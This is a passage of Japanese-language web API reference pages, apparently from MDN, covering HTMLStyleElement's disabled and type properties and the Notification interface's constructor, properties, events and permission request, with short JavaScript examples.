 次に、下記のようにスタイル設定を無効にします。
 なお、これがプロパティを `true` に設定するのに成功する最も早いタイミングです。
 この点より前は文書にスタイルがないので、既定値の `false` になります。

```js
//スタイルの無効化
style.disabled = true;
```

最後に、無効状態とボタンテキストを切り替えるボタン用のイベントハンドラーを追加します（これは前回の例と同じです）。

```js
const button = document.querySelector("button");

button.addEventListener("click", () => {
  style.disabled = !style.disabled;
  const buttonText = style.disabled ? "有効化" : "無効化";
  button.innerText = buttonText;
});
```

#### 結果

 結果は下記のように表示させます。
 ボタンを押すと、テキストに使用するスタイルの `disabled` の状態が切り替わります。

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-style-disabled |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* `SVGStyleElement.disabled` (en-US)


HTMLStyleElement: type プロパティ - Web API

HTMLStyleElement: type プロパティ
============================

**非推奨:** この機能は非推奨になりました。まだ対応しているブラウザーがあるかもしれませんが、すでに関連するウェブ標準から削除されているか、削除の手続き中であるか、互換性のためだけに残されている可能性があります。使用を避け、できれば既存のコードは更新してください。このページの下部にある互換性一覧表を見て判断してください。この機能は突然動作しなくなる可能性があることに注意してください。

**`HTMLStyleElement.type`** プロパティは、現在のスタイルの種類を返します。
 この値は HTML の `<style>` 要素の `type` 属性の値を反映します。

作者はこのプロパティを使用したり、値に頼ったりしてはいけません。

値
-

許可される値は、空文字列または "text/css" と大文字と小文字を区別せずに一致するものです。

仕様書
---

| Specification |
| --- |
| HTML Standard # dom-style-type |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* `SVGStyleElement.type` (en-US)


Notification: click イベント - Web API

Notification: click イベント
========================

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**`click`** は `Notification` インターフェイスのイベントで、ユーザーが表示されている `Notification` をクリックしたときに発生します。

既定の動作は、この通知に関連した閲覧コンテキストへフォーカスを移動することです。この動作をさせたくない場合は、イベントオブジェクトの `preventDefault()` を呼び出してください。

構文
--

このイベント名を `addEventListener()` のようなメソッドで使うか、イベントハンドラープロパティを設定するかしてください。

```js
addEventListener("click", (event) => {});

onclick = (event) => {};
```

イベント型
-----

一般的な `Event` です。

例
-

以下の例では、 onclick ハンドラーを使用して、通知がクリックされたときにウェブページを新しいタブで開くようにしています（`'_blank'` 引数を含めることで指定）。

```js
notification.onclick = (event) => {
  event.preventDefault(); // prevent the browser from focusing the Notification's tab
  window.open("http://www.mozilla.org", "\_blank");
};
```

仕様書
---

| Specification |
| --- |
| Notifications API Standard # dom-notification-onclick |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* `Notification`
* 通知 API の使用


Notification.renotify - Web API

Notification.renotify
=====================

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**Experimental:** **これは実験的な機能です。**
本番で使用する前にブラウザー互換性一覧表をチェックしてください。

**`renotify`** は `Notification` インターフェイスの読み取り専用プロパティで、 `Notification()` コンストラクターの `renotify` オプションで指定され、新しい通知が古い通知を置き換えたときにユーザーに通知されるかどうかを指定します。

値
-

論理値です。 `false` が既定値です。 `true` でこの通知がユーザーへ再通知されます。

例
-

次のスニペットは静かな通知を発行するためのものです。単純な `options` オブジェクトが生成され、通知が `Notification()` コンストラクターを使用して発行されます。

```js
const options = {
  body: "Do you like my Notification?",
  renotify: true,
};

const n = new Notification("Test notification", options);

console.log(n.renotify); // should log true
```

仕様書
---

| Specification |
| --- |
| Notifications API Standard # dom-notification-renotify |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 通知 API の使用


Notification: show イベント - Web API

Notification: show イベント
=======================

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**`show`** は `Notification` インターフェイスのイベントで、 `Notification` が表示されるときに発生します。

構文
--

このイベント名を `addEventListener()` のようなメソッドで使うか、イベントハンドラープロパティを設定するかしてください。

```js
addEventListener("show", (event) => {});

onshow = (event) => {};
```

イベント型
-----

一般的な `Event` です。

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* `Notification`
* 通知 API の使用


Notification.requireInteraction - Web API

Notification.requireInteraction
===============================

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**Experimental:** **これは実験的な機能です。**
本番で使用する前にブラウザー互換性一覧表をチェックしてください。

**`requireInteraction`** は `Notification` インターフェイスの読み取り専用プロパティで、ユーザーがクリックするか閉じるかするまで、通知が自動的に閉じずに残るべきであることを示す論理値を返します。

**メモ:** これは最初に、 `Notification.Notification()` コンストラクターの option オブジェクトの `requireInteraction` が `true` の状態で生成されたときに設定されることがあります。

値
-

論理値です。

仕様書
---

| Specification |
| --- |
| Notifications API Standard # dom-notification-requireinteraction |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 通知 API の使用


Notification.requestPermission() - Web API

Notification.requestPermission()
================================

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**メモ:** Safari はまだ、許可を得るのにコールバック構文を使用します。適切に機能を検出してコードを実行する方法の良い例として、通知 API の使用をご覧ください。

**`requestPermission()`** は `Notification` インターフェイスのメソッドで、ユーザーに現在のオリジンが通知を表示することを許可するよう要求します。

構文
--

```js
// 最新の仕様では、このメソッドは次のようにプロミスベースの構文に更新されています。
requestPermission()

// 以前は、この構文は単純なコールバックに基づくものでした。このバージョンは非推奨になりました。
requestPermission(callback)
```

### 引数

`callback` 省略可
非推奨

省略可能なコールバック関数で、許可の値で呼び出されます。プロミスを返値にしたために非推奨になりました。

### 返値

`Promise` で、ユーザーが許可を選択したら文字列に解決します。この文字列の取りうる値は次の通りです。

* `granted`
* `denied`
* `default`
例
-

この基本的な HTML を想定してください。

```html
<button onclick="notifyMe()">Notify me!</button>
```

以下のように通知を送信することが可能です。 — ここでは、かなり冗長で完全なコードのセットを紹介しています。最初に通知に対応しているかどうかをチェックし、通知を送信するために現在のオリジンに許可が与えられているかどうかをチェックし、必要であれば許可を要求してから通知を送信したい場合に使用できます。

```js
function notifyMe() {
  if (!("Notification" in window)) {
    // ブラウザーが通知に対応しているか調べる
    alert("このブラウザーはデスクトップ通知には対応していません。");
  } else if (Notification.permission === "granted") {
    // 通知権限が既に付与されているかどうかを調べる。
    // その場合は、通知を作成する。
    const notification = new Notification("こんにちは！");
    // …
  } else if (Notification.permission !== "denied") {
    // ユーザーにその権限を要求する必要がある
    Notification.requestPermission().then((permission) => {
      // ユーザーが受け入れたら、通知を作成する。
      if (permission === "granted") {
        const notification = new Notification("こんにちは！");
        // …
      }
    });
  }

  // 最後に、ユーザーが通知を拒否している場合は、これ以上
  // ユーザーに迷惑をかける必要はありません。
}
```

このページでライブ例を公開するのはやめました。 Chrome や Firefox が別オリジンの `<iframe>` から要求された通知の許可をしないようになり、その他のブラウザーも従っているからです。動作する例を見る場合は、 To-do リストの例（また、ライブで動作するアプリ）を参照してください。

**メモ:** 上記の例では、通知をユーザーの操作（ボタンのクリック）から起動しました。ユーザーが同意していない通知でユーザーに迷惑をかけるべきではないので、これはベストプラクティスであるだけでなく、今後ブラウザーはユーザーの操作によって起動されたものではない通知の許可の要求を明示的に拒否するようになるでしょう。例えば、 Firefox はバージョン 72 からすでにこれを行っており、 Safari もしばらく前からこれを行っています。

仕様書
---

| Specification |
| --- |
| Notifications API Standard # dom-notification-requestpermission |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 通知 API の使用


Notification.vibrate - Web API

Notification.vibrate
====================

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**Experimental:** **これは実験的な機能です。**
本番で使用する前にブラウザー互換性一覧表をチェックしてください。

`vibrate` は `Notification` インターフェイスの読み取り専用プロパティで、通知が発行されたときに端末のバイブレーションハードウェアが出力するバイブレーションパターンを指定します。これは `Notification()` コンストラクターの `vibrate` オプションで指定されます。

値
-

バイブレーションパターンで、これはバイブレーション API 仕様書で定義されているものです。

例
-

次のスニペットは、端末の振動も発生させるような通知を作成するためのものです。シンプルな `options` オブジェクトが作成され、`Notification()` コンストラクターを使用して、通知が発行されます。

```js
const options = {
  body: "Do you like my body?",
  vibrate: [200, 100, 200],
};

const n = new Notification("Test notification", options);

console.log(n.vibrate); // should log [200,100,200]
```

仕様書
---

| Specification |
| --- |
| Notifications API Standard # dom-notification-vibrate |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 通知 API の使用


Notification.timestamp - Web API

Notification.timestamp
======================

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**Experimental:** **これは実験的な機能です。**
本番で使用する前にブラウザー互換性一覧表をチェックしてください。

**`timestamp`** は `Notification` インターフェイスの読み取り専用プロパティで、 `Notification()` コンストラクターの `timestamp` オプションで指定された数値を返します。

通知のタイムスタンプは、 UTC の 1970 年 1 月 1 日 0 時 0 分 0 秒からの経過ミリ秒数で、通知が作成された時刻、または通知に関連づけたい任意のタイムスタンプを表します。例えば、予定されている会議のタイムスタンプは未来に設定することができ、一方、見逃したメッセージのタイムスタンプは過去に設定することができます。

値
-

数値で、Unix 時刻として指定されたタイムスタンプを（ミリ秒単位で）表します。

例
-

次のスニペットは通知を発行します。単純な `options` オブジェクトが生成され、通知が `Notification()` コンストラクターを使用して発行されます。

```js
const dts = Math.floor(Date.now());

const options = {
  body: "Do you like my body?",
  timestamp: dts,
};

const n = new Notification("Test notification", options);

console.log(n.timestamp); // should log original timestamp
```

仕様書
---

| Specification |
| --- |
| Notifications API Standard # dom-notification-timestamp |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 通知 API の使用


Notification.data - Web API

Notification.data
=================

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**`data`** は `Notification` インターフェイスの読み取り専用プロパティで、 `Notification()` コンストラクターの `data` オプションで指定された通知の構造化されたデータのクローンを返します。

通知のデータは、通知と関連付けたい任意のデータを使用することができます。

値
-

構造化されたクローン。

例
-

次のスニペットは通知を発行します。単純な `options` オブジェクトを生成し、それから `Notification()` コンストラクターを使用して通知を発行します。

```js
const options = {
  body: "Do you like my body?",
  data: "I like peas.",
};

const n = new Notification("Test notification", options);

console.log(n.data); // should return 'I like peas.'
```

仕様書
---

| Specification |
| --- |
| Notifications API Standard # dom-notification-data |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 通知 API の使用


Notification: error イベント - Web API

Notification: error イベント
========================

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**`error`** イベントは `Notification` インターフェイスのイベントで、 `Notification` が失敗したとき (多くの場合は通知の表示が阻止されたというエラーの場合) に発生します。

構文
--

このイベント名を `addEventListener()` のようなメソッドで使うか、イベントハンドラープロパティを設定するかしてください。

```js
addEventListener("error", (event) => {});

onerror = (event) => {};
```

イベント型
-----

一般的な `Event` です。

仕様書
---

| Specification |
| --- |
| Notifications API Standard # dom-notification-onerror |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* `Notification`
* 通知 API の使用


Notification.actions - Web API

Notification.actions
====================

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**`actions`** は `Notification` インターフェイスの読み取り専用プロパティで、ユーザーが通知とやり取りするために選択することができるアクションを提供します。

アクションは、 `showNotification()` メソッドと `Notification()` コンストラクターの第 2 引数の `actions` オプションで設定します。

**メモ:** ブラウザーは通常、特定の通知のために表示されるアクションの最大数を制限します。静的な `Notification.maxActions` プロパティをチェックして、制限値を把握してください。

値
-

読み取り専用のアクションの配列です。配列のそれぞれの要素は、以下のメンバーを持つオブジェクトです。

`action`

文字列で、通知に表示されるユーザーのアクションを識別します。

`title`

文字列で、ユーザーに表示されるアクションテキストを示します。

`icon`

文字列で、アクションとともに表示されるアイコンの URL です。

仕様書
---

| Specification |
| --- |
| Notifications API Standard # dom-notification-actions |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 通知 API の使用
* `Notification.maxActions`


Notification.dir - Web API

Notification.dir
================

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

`dir` は `Notification` インターフェイスの読み取り専用プロパティで、 `Notification()` コンストラクターの `dir` オプションで指定されたテキストの書字方向を示します。

値
-

文字列で、書字方向を指定します。取りうる値は次の通りです。

`auto`

ブラウザーの言語設定の動作に合わせます（既定値）。

`ltr`

左書き。

`rtl`

右書き。

**メモ:** 多くのブラウザーは明示的な ltr や rtl の設定を無視し、ブラウザー全体の設定どおりに実行するようです。

例
-

次のスニペットは通知を発行するためのものです。単純な `options` オブジェクトが生成され、通知が `Notification()` コンストラクターを使用して発行されます。

```js
const options = {
  body: "Do you like my body?",
  dir: "rtl",
};

const n = new Notification("Test notification", options);

console.log(n.dir); // should return 'rtl'
```

仕様書
---

| Specification |
| --- |
| Notifications API Standard # dom-notification-dir |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 通知 API の使用


Notification.tag - Web API

Notification.tag
================

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**`tag`** は `Notification` インターフェイスの読み取り専用プロパティで、 `Notification()` コンストラクターの `tag` オプションで指定された通知の識別タグを示します。

通知タグの考え方は、複数の通知が同じタグを共有し、それらを一緒にリンクすることです。ユーザーの画面が膨大な数の類似した通知で埋め尽くされるのを避けるために、一つの通知をプログラム的に別のものと置き換えることができます。

値
-

文字列です。

例
-

通知 API の使用の記事に、タグの使い方の良い例があります。

仕様書
---

| Specification |
| --- |
| Notifications API Standard # dom-notification-tag |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 通知 API の使用


Notification.body - Web API

Notification.body
=================

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**`body`** は `Notification` インターフェイスの読み取り専用プロパティで、 `Notification()` コンストラクターの `body` オプションで指定された通知の本文の文字列を返します。

値
-

文字列です。

例
-

```js
function spawnNotification(theBody, theIcon, theTitle) {
  const options = {
    body: theBody,
    icon: theIcon,
  };
  const n = new Notification(theTitle, options);

  console.log(n.body);
}
```

仕様書
---

| Specification |
| --- |
| Notifications API Standard # dom-notification-body |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 通知 API の使用
* `Notification.maxActions`


Notification: close イベント - Web API

Notification: close イベント
========================

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**`close`** は `Notification` インターフェイスのイベントで、 `Notification` が閉じるときに発生します。

構文
--

このイベント名を `addEventListener()` のようなメソッドで使うか、イベントハンドラープロパティを設定するかしてください。

```js
addEventListener("close", (event) => {});

onclose = (event) => {};
```

イベント型
-----

一般的な `Event` です。

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* `Notification`
* 通知 API の使用


Notification.badge - Web API

Notification.badge
==================

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**Experimental:** **これは実験的な機能です。**
本番で使用する前にブラウザー互換性一覧表をチェックしてください。

**`badge`** は `Notification` インターフェイスのプロパティで、通知自体を表示する空間が充分にない場合に通知を表す画像の URL を返します。

値
-

URL が入った文字列です。

仕様書
---

| Specification |
| --- |
| Notifications API Standard # dom-notification-badge |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.


Notification() - Web API

Notification()
==============

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**`Notification()`** コンストラクターは、ユーザー通知を表す新しい `Notification` オブジェクトのインスタンスを生成します。

構文
--

```js
new Notification(title)
new Notification(title, options)
```

### 引数

`title`

通知ウィンドウの最上部に表示される、通知のためのタイトルを定義します。

`options` 省略可

通知に適用するカスタム設定を含むオプションオブジェクトです。使用できるオプションは以下のとおりです。

`dir`

通知を表示する方向です。既定値は `auto` で、ブラウザーの言語設定の振る舞いが適用されますが、 `ltr` と `rtl` の値で振る舞いを上書きできます (ただし、ほとんどのブラウザーがこれらの設定を無視しているようですが)。

`lang`

RFC 5646: 言語を識別するタグ（BCP 47 とも）を表す文字列を使って指定される通知の言語です。簡単なリファレンスとして ISO 2 letter language codes ページを参照してください。

`badge`

文字列で、通知自体を表示する充分な空間がない場合に通知の表現に使用される画像の URL を指定します。

`body`

文字列で、タイトルの下側に表示される通知の本文を表します。

`tag`

通知のための識別タグを表す 文字列です。

`icon`

通知の一部として表示されるアイコンのURLを含む文字列です。

`image`

文字列で、通知に表示される画像の URL を指定します。

`data`

通知に関連付ける任意のデータです。これはどのデータ型でも可能です。

`vibrate`

通知が発生したときに端末のバイブレーションハードウェアに通知するバイブレーションパターンです。

`renotify`

古い通知が新しい通知に置き換えられた後、ユーザーに通知するかどうかを指定する論理値です。既定値は `false` で、通知しないことを意味します。

`requireInteraction`

通知が自動的に閉じるのではなく、ユーザーがクリックするか解除するまでアクティブな状態を維持すべきであることを示します。既定値は `false` です。

`actions`

通知で表示するアクションの配列です。配列内のそれぞれの要素は、以下のメンバーを持つオブジェクトです。

* `action`: 通知上に表示されるユーザーアクションを特定する文字列。
* `title`: ユーザーに表示するアクションテキストを含む文字列。
* `icon`: アクションとともに表示されるアイコンの URL を含む文字列。

適切なレスポンスは `event.action` を使用して `notificationclick` イベント内で構築されます。

`silent`

通知をサイレントにするかどうかを指定する論理値です。端末の設定にかかわらず、音やバイブレーションを発しないようにします。既定値は `false` で、サイレントではないことを意味します。

例
-

`Emogotchi demo`（ソースコードを見る）では、私たちが通知を発生させたいときに、 `spawnNotification()` 関数を実行しています。関数は必要な本文、アイコン、タイトルを指定する引数を受け取り、必要な `options` オブジェクトを生成して、 `Notification()` コンストラクターを用いて通知を発生させます。

```js
function spawnNotification(body, icon, title) {
  const notification = new Notification(title, { body, icon });
}
```

仕様書
---

| Specification |
| --- |
| Notifications API Standard # dom-notification-notification |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

### Chrome の注意事項

Chrome 49 以降では、 incognito モードでは通知が動作しません。

Android 版 Chrome は `Notification` コンストラクターを呼び出すと `TypeError` を発生させます。サービスワーカーからの通知の作成にのみ対応しています。詳しくは Chromium issue tracker をご覧ください。

### Internet Explorer の注意事項

バージョン 38.14352 以降の MS Edge は通知 API に対応しています。 Wikipedia - MS Edge

IE 11 以前では対応していません。

関連情報
----

* 通知 API の使用


Notification.title - Web API

Notification.title
==================

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**`title`** は `Notification` インターフェイスの読み取り専用プロパティで、 `Notification()` コンストラクターの `title` 引数で指定された通知のタイトルを示します。

値
-

文字列です。

例
-

```js
function spawnNotification(theBody, theIcon, theTitle) {
  const options = {
    body: theBody,
    icon: theIcon,
  };

  const n = new Notification(theTitle, options);

  console.log(n.title);
}
```

仕様書
---

| Specification |
| --- |
| Notifications API Standard # dom-notification-title |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 通知 API の使用


Notification.lang - Web API

Notification.lang
=================

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**`lang`** は `Notification` インターフェイスの読み取り専用プロパティで、 `Notification()` コンストラクターの `lang` オプションで指定された通知の言語を示します。

言語自体は文字列でRFC 5646: 言語識別タグ (BCP 47) を表します。簡単なリファレンスとしては、 Sitepoint の ISO 2 letter language codes ページを見てください。

値
-

文字列で、言語タグを指定します。

例
-

次のスニペットは通知を発行するためのものです。単純な `options` オブジェクトが生成され、通知が `Notification()` コンストラクターを使用して発行されます。

```js
const options = {
  body: "Do you like my body?",
  lang: "en-US",
};

const n = new Notification("Test notification", options);

console.log(n.lang); // should return 'en-US'
```

仕様書
---

| Specification |
| --- |
| Notifications API Standard # dom-notification-lang |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 通知 API の使用


Notification.maxActions - Web API

Notification.maxActions
=======================

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**Experimental:** **これは実験的な機能です。**
本番で使用する前にブラウザー互換性一覧表をチェックしてください。

**`maxActions`** は `Notification` インターフェイスの属性で、端末とユーザーエージェントが対応するアクションの最大数を返します。実質的には、これはユーザーエージェントが尊重する `Notification.actions` 配列の最大数です。

値
-

整数で、ユーザ－エージェントと端末がユーザーに提示することができるできる通知アクションの最大数を示します。

例
-

以下のスニペットは、対応するアクションの最大数をログ出力します。

```js
const maxActions = Notification.maxActions;
console.log(
  `This device can display at most ${maxActions} actions on each notification.`,
);
```

仕様書
---

| Specification |
| --- |
| Notifications API Standard # dom-notification-maxactions |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 通知 API の使用


Notification.close() - Web API

Notification.close()
====================

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

`close()` は `Notification` インターフェイスのメソッドで、表示された通知を閉じたり削除したりするために使用されます。

**メモ:** この API は、一定時間経過後に通知を画面から消去するだけのために使用すべきではありません。通知が最初に表示された後にユーザーがそれとやりとりすることを防ぐため、このメソッドは通知トレイからも通知を削除するためです。この API の正しい使用方法は、ユーザーに関係がなくなった通知を除去することです（例えば、メッセージアプリなどで、ユーザーが既にウェブページ上の通知を読んだ場合や、音楽アプリですでに次の曲が始まっているため、曲の変更を行うための通知を閉じるなど）。

構文
--

```js
close()
```

### 引数

なし。

### 返値

なし (`undefined`)。

例
-

以下のスニペットは、呼び出されたときに `options` オブジェクトと、それから新しい通知を生成します。を生成し、関数の末尾で、 `close()` を `addEventListener()` 関数の中で呼び出し、関連するコンテンツがウェブページで既読になったときに通知を除去します。

```js
function spawnNotification(theBody, theIcon, theTitle) {
  const options = {
    body: theBody,
    icon: theIcon,
  };

  const n = new Notification(theTitle, options);
  document.addEventListener("visibilitychange", () => {
    if (document.visibilityState === "visible") {
      // The tab has become visible so clear the now-stale Notification.
      n.close();
    }
  });
}
```

仕様書
---

| Specification |
| --- |
| Notifications API Standard # dom-notification-close |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 通知 API の使用


Notification.silent - Web API

Notification.silent
===================

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**Experimental:** **これは実験的な機能です。**
本番で使用する前にブラウザー互換性一覧表をチェックしてください。

**`silent`** は `Notification` インターフェイスの読み取り専用プロパティで、通知が静かに行われるべきかどうか、すなわち、端末の設定に関わらず、音やバイブレーションを発生させないようにするかを指定します。これは `Notification()` コンストラクターの `silent` オプションで指定されます。

値
-

論理値です。 `false` が既定値です。 `true` で通知を静かに行います。

例
-

次のスニペットは静かな通知を発行するためのものです。単純な `options` オブジェクトが生成され、通知が `Notification()` コンストラクターを使用して発行されます。

```js
const options = {
  body: "Do you like my body?",
  silent: true,
};

const n = new Notification("Test notification", options);

console.log(n.silent); // should log true
```

仕様書
---

| Specification |
| --- |
| Notifications API Standard # dom-notification-silent |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 通知 API の使用


Notification.icon - Web API

Notification.icon
=================

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**`icon`** は `Notification` インターフェイスの読み取り専用プロパティで、 `Notification()` コンストラクターの `icon` オプションで指定された、通知の一部として表示されるアイコンの URL を含みます。

値
-

文字列です。

例
-

To-do リストアプリ（ライブ実行のアプリを表示）では、 `Notification()` コンストラクターを使用して通知を発行し、希望する本文、アイコン、タイトルを指定するために引数を渡します。

```js
const notification = new Notification("To do list", {
  body: text,
  icon: img,
});
```

仕様書
---

| Specification |
| --- |
| Notifications API Standard # dom-notification-icon |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 通知 API の使用


Notification.image - Web API

Notification.image
==================

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

**Experimental:** **これは実験的な機能です。**
本番で使用する前にブラウザー互換性一覧表をチェックしてください。

`image` は `Notification` インターフェイスの読み取り専用プロパティで、 `Notification()` コンストラクターの `image` オプションで指定された、通知の一部として表示される画像の URL を含みます。

値
-

文字列です。

仕様書
---

| Specification |
| --- |
| Notifications API Standard # image-resource |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 通知 API の使用


Notification.permission - Web API

Notification.permission
=======================

**注:** この機能は Web Worker 内で利用可能です

**安全なコンテキスト用:** この機能は一部またはすべての対応しているブラウザーにおいて、安全なコンテキスト (HTTPS) でのみ利用できます。

`permission` は `Notification` インターフェイスの読み取り専用プロパティで、ユーザーが現在のオリジンに対してウェブ通知を表示することを許可したかどうか、現在の許可状態を表します。

値
-

文字列で、現在の許可の状態を表します。以下の値が可能です。

`granted`

現在のオリジンがシステム通知を表示することについて、ユーザーが明示的な許可を与えている。

`denied`

現在のオリジンがシステム通知を表示することについて、ユーザーが明示的に拒否している。

`default`

ユーザーの決定は分からない。この場合、アプリケーションは許可が `denied` であるかのように動作する。

例
-

以下のスニペットは、まず通知に対応しているかどうかをチェックし、現在のオリジンで通知を送信するための許可が付与されているかどうかをチェックし、必要であれば許可を要求してから通知を送信したい場合に使用することができます。

```js
function notifyMe() {
  if (!("Notification" in window)) {
    // ブラウザーが通知に対応しているかどうかをチェックする
    alert("このブラウザーはデスクトップ通知に対応していません。");
  } else if (Notification.permission === "granted") {
    // 通知の許可が既に得られているかどうかをチェックする
    // それならば、通知を作成する
    const notification = new Notification("こんにちは！");
    // …
  } else if (Notification.permission !== "denied") {
    // そうでなければ、ユーザーに許可を求める必要がある
    Notification.requestPermission().then((permission) => {
      // ユーザーが許可したら、通知を作成する
      if (permission === "granted") {
        const notification = new Notification("こんにちは！");
        // …
      }
    });
  }

  // 最後に、ユーザーが通知を拒否していて、あなたが敬意を
  // 払いたい場合は、これ以上相手を煩わせることはありません。
}
```

仕様書
---

| Specification |
| --- |
| Notifications API Standard # dom-notification-permission |

ブラウザーの互換性
---------

BCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.

関連情報
----

* 通知 API
* 通知 API の使用
* 許可 API
* 許可 API の使用


HTMLSlotElement: assignedElements() メソッド - Web API

HTMLSlotElement: assignedElements() メソッド
========================================

**`assignedElements()`** は `HTMLSlotElement` インターフェイスのメソッドで、このスロットに割り当てられた一連の要素を返します (そしてそれ以外の要素を除きます)。

`flatten` オプションが `true` に設定されていた場合、このスロットに代入された要素と、このスロットの子孫である他のスロットに代入された要素の両方を配列で返します。代入された要素が見つからなかった場合は、スロットの代替コンテンツを返します。

構文
--

```js
assignedElements()
assignedElements(options)
```

### 引数

`options` 省略可

返されるノードのためのオプションを設定したオブジェクトです。利用可能なオプションは以下のとおりです。

`flatten`

